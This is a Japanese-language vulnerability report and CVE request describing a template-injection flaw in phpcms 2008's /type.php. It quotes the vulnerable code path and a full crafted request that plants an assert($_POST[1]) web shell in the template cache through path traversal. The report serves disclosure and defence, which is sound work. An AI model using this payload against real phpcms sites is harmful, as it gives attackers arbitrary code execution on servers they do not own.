
最近、phpcms 2008 のソースコードの /type.php に脆弱性を発見しました。攻撃者が「/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss」のような細工されたリクエストを送信すると、悪意のあるコンテンツ(この場合は「@unlink(FILE);assert($_POST[1]);」)がキャッシュファイル(この場合は「/cache_template/rss.tpl.php」)に書き込まれます。
/type.php には以下のコードがあります:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
そして、template() は /include/global.func.php で以下のように定義されています:
template_compile($module, $template, $istag);
さらに、/include/template.func.php で次のように定義されている template_compile() を呼び出します:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
攻撃ペイロードでは、$template は「tag_(){};@unlink(FILE);assert($POST[1]);{//../rss」に設定されます。そのため、file_put_contents() に渡されるフルパスは「data/cache_template/phpcms_tag(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php」となり、PHP によって「data/cache_template/rss.tpl.php」として解析されます。そしてコンテンツ「@unlink(FILE);assert($_POST[1]);」がこのファイルに書き込まれ、攻撃者はこのファイルをウェブシェルとして使用して任意のコードを実行できるようになります。
問題の根本原因は、$template 変数がファイルパスやファイルコンテンツの一部として使用される前にフィルタリングされていないことです。
私たちは phpcms のベンダーに公式ウェブサイトの方法を通じて連絡を取りましたが、電話は不通でメッセージにも返答がありませんでした。Phpcms 2008 は phpcms の最新バージョンではありませんが、多くのユーザーが依然としてこのバージョンを使用しています。私たちが発見した脆弱性はこれまで発見されておらず、CVE も割り当てられていません。この脆弱性に CVE ID を割り当てて、ユーザーに警告できるようにしてください。